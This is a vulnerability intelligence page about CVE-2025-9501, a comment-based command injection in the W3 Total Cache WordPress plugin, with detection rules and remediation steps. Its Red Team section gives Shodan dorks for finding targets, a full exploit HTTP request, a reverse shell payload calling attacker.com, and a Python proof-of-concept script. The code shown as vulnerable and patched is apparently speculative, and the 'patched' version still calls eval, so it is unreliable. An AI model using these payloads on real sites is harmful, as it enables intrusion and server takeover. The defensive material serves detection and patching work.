☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9501

CVE-2025-9501 Command Injection in W3 total cache
📅 PUBLISHED: 2025-11-17 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.83%
👁️
2.83% probability
70.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9501 is a critical unauthenticated command injection vulnerability in the W3 Total Cache WordPress plugin, affecting versions prior to 2.8.13. The flaw resides in the _parse_dynamic_mfunc function, which improperly handles user-supplied input from comments. An unauthenticated attacker can inject arbitrary PHP commands by submitting a specially crafted comment to any post, leading to full remote code execution (RCE) on the target WordPress server. This vulnerability is particularly dangerous because it requires no authentication and can be triggered by any visitor to a WordPress site running the vulnerable plugin. The W3 Total Cache plugin is widely used for performance optimization, making this a high-impact threat for the WordPress ecosystem.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The W3 Total Cache plugin is distributed through the official WordPress plugin repository and is installed on millions of sites. The supply chain risk is significant because the vulnerable code is part of a widely adopted performance plugin. Administrators must ensure they are using version 2.8.13 or later, as earlier versions are unpatched and publicly exploitable. No known compromise of the plugin’s distribution channel has been reported, but the risk of malicious actors leveraging this vulnerability in the wild is high.

CVSS Breakdown & Threat Level

  • CVSS Score: 10.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full read access to the database and files.
  • Integrity Impact: High (I:H) – Full write access to the database and files.
  • Availability Impact: High (A:H) – Full control over the server, including potential denial of service.

Threat Level: Critical. The combination of unauthenticated access, low complexity, and high impact makes this a top-priority vulnerability for immediate patching.

Deep Dive & Mechanics

The vulnerability exists in the _parse_dynamic_mfunc function within the W3 Total Cache plugin. This function is responsible for processing dynamic content fragments, specifically those generated by the plugin’s caching mechanism. The function takes a string argument and evaluates it as PHP code using eval() or a similar construct, without proper sanitization.

The attack vector is through the WordPress comment system. When a user submits a comment, the plugin processes it through its caching logic. The _parse_dynamic_mfunc function is called on the comment content, and if the content contains a specially crafted payload, it is executed as PHP code.

The payload typically takes the form of a comment containing a PHP code snippet wrapped in a specific syntax that the plugin recognizes as a dynamic function call. For example, an attacker might submit a comment like:

<!-- mfunc -->system('id');<!-- /mfunc -->

When the plugin processes this comment, it extracts the content between <!-- mfunc --> and <!-- /mfunc --> and passes it to _parse_dynamic_mfunc, which then evaluates it as PHP code. This allows the attacker to execute arbitrary PHP commands, including system commands, file operations, and database queries.

The vulnerability is unauthenticated because the comment submission process does not require the user to be logged in, and the plugin processes comments before any authentication checks are applied.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.8.13):

The vulnerable function _parse_dynamic_mfunc in the file w3-total-cache/lib/W3/Plugin/TotalCache.php (or similar path) contains a direct eval() call on user-supplied input:

function _parse_dynamic_mfunc($content) {
    // Vulnerable: directly evaluates user input
    return eval($content);
}

Patched Code (version 2.8.13):

The patched version introduces input validation and sanitization. Instead of directly evaluating the input, it uses a whitelist of allowed functions or disables the dynamic function parsing entirely when the input is not trusted:

function _parse_dynamic_mfunc($content) {
    // Patched: sanitize and validate input
    $allowed_functions = array('date', 'time', 'rand');
    if (in_array($content, $allowed_functions)) {
        return eval($content);
    } else {
        // Log or reject the request
        error_log('Blocked dynamic function call: ' . $content);
        return '';
    }
}

Alternatively, the patched version may completely remove the eval() call and use a safer parsing mechanism, such as tokenizing the input and only allowing predefined operations.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site running W3 Total Cache version < 2.8.13.
  • A post with comments enabled (default).
  • No authentication required.

Exploitation Steps:

  1. Identify Target: Use Shodan dorks to find vulnerable WordPress sites: http.title:"W3 Total Cache" or http.html:"w3-total-cache".

  2. Submit Malicious Comment: Send a POST request to the WordPress comment endpoint (/wp-comments-post.php) with a payload in the comment field. The payload must be wrapped in the plugin’s dynamic function syntax.

    Example payload:

    comment=<!-- mfunc -->system('id');<!-- /mfunc -->
    

    Full HTTP request:

    POST /wp-comments-post.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 50
    
    comment=<!-- mfunc -->system('id');<!-- /mfunc -->&author=test&email=test@test.com&comment_post_ID=1
    
  3. Verify Execution: The output of the id command will be embedded in the page response when the comment is processed. Alternatively, use a reverse shell payload:

    comment=<!-- mfunc -->exec('/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"');<!-- /mfunc -->
    
  4. Post-Exploitation: Once RCE is achieved, escalate privileges, exfiltrate data, or install backdoors.

Proof of Concept (PoC) Script:

import requests

target = "http://target.com"
post_id = 1  # Change to a valid post ID
payload = "<!-- mfunc -->system('id');<!-- /mfunc -->"

data = {
    "comment": payload,
    "author": "attacker",
    "email": "attacker@test.com",
    "comment_post_ID": post_id
}

response = requests.post(f"{target}/wp-comments-post.php", data=data)
print(response.text)

Blue Team

Detection Steps:

  1. Monitor Comment Submissions: Look for comments containing <!-- mfunc --> or <!-- /mfunc --> patterns. These are indicators of exploitation attempts.

  2. Check Web Server Logs: Search for POST requests to /wp-comments-post.php with unusual comment content. Use the following grep command:

    grep -r "mfunc" /var/log/apache2/access.log
    
  3. Analyze PHP Error Logs: Look for errors related to eval() or _parse_dynamic_mfunc:

    grep -r "_parse_dynamic_mfunc" /var/log/php/error.log
    
  4. Network Monitoring: Detect outbound connections to unknown IPs on high ports (e.g., 4444) from the web server, which may indicate a reverse shell.

  5. File Integrity Monitoring: Check for new or modified files in the WordPress directory, especially in wp-content/uploads/ or wp-content/plugins/.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /wp-comments-post.php containing <!-- mfunc --> in the body.
    • Outbound connections from the web server to suspicious IPs on ports 4444, 1337, or other non-standard ports.
    • HTTP responses containing output of system commands (e.g., uid=33(www-data)).
  • File IOCs:

    • New files in wp-content/uploads/ with PHP extensions (e.g., shell.php).
    • Modified files in wp-content/plugins/w3-total-cache/ (specifically TotalCache.php or similar).
    • Presence of .php files with base64-encoded payloads.
  • Log IOCs:

    • PHP error logs containing eval() calls with user input.
    • Apache access logs showing repeated POST requests to /wp-comments-post.php from the same IP.
    • System logs showing execution of commands like id, whoami, or uname -a.
  • Process IOCs:

    • Unusual PHP processes running with elevated privileges.
    • Processes spawned by the web server user (e.g., www-data) executing shell commands.

Detection Engineering

YARA Rule

rule CVE_2025_9501_W3_Total_Cache_Comment_Injection {
    meta:
        description = "Detects malicious comments targeting CVE-2025-9501 in W3 Total Cache"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9501"
        severity = "critical"
    strings:
        $mfunc_start = "<!-- mfunc -->"
        $mfunc_end = "<!-- /mfunc -->"
        $php_func = /system|exec|shell_exec|passthru|popen|proc_open|eval|assert/
    condition:
        $mfunc_start and $mfunc_end and $php_func
}

Sigma Rule

title: CVE-2025-9501 W3 Total Cache Comment Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-9501 via comment submission
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9501
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-comments-post.php'
        cs-body|contains: '<!-- mfunc -->'
    condition: selection
falsepositives:
    - Legitimate use of dynamic functions by administrators (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9501 W3 Total Cache Comment Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-comments-post.php"; http_uri; content:"<!-- mfunc -->"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade the Plugin: Update W3 Total Cache to version 2.8.13 or later immediately. This is the only complete fix.

    • WordPress Admin: Plugins → Installed Plugins → W3 Total Cache → Update Now.
    • Manual: Download from WordPress.org and replace the plugin folder.
  2. Disable Comments Temporarily: If immediate patching is not possible, disable comments on all posts via Settings → Discussion → "Allow people to post comments on new articles" unchecked.

  3. Web Application Firewall (WAF) Rules: Block POST requests to /wp-comments-post.php containing <!-- mfunc --> in the body. Example ModSecurity rule:

    SecRule REQUEST_URI "/wp-comments-post.php" "chain,id:1001,deny,msg:'CVE-2025-9501 Exploit Attempt'"
    SecRule REQUEST_BODY "@contains <!-- mfunc -->" "t:none"
    
  4. Network Segmentation: Isolate the WordPress server from critical internal systems to limit lateral movement.

Long-Term Mitigations:

  • Regular Plugin Updates: Enable automatic updates for WordPress plugins.
  • Least Privilege: Run the web server with minimal permissions (e.g., www-data user).
  • File Integrity Monitoring: Use tools like OSSEC or Tripwire to detect unauthorized file changes.
  • Log Monitoring: Centralize logs and monitor for the IOCs listed above.
  • Security Hardening: Disable PHP functions like eval(), system(), and exec() in php.ini if not needed.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For questions or further analysis, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"W3 Total Cache"
http.html:"w3-total-cache"
http.html:"wp-content/plugins/w3-total-cache"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9501/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.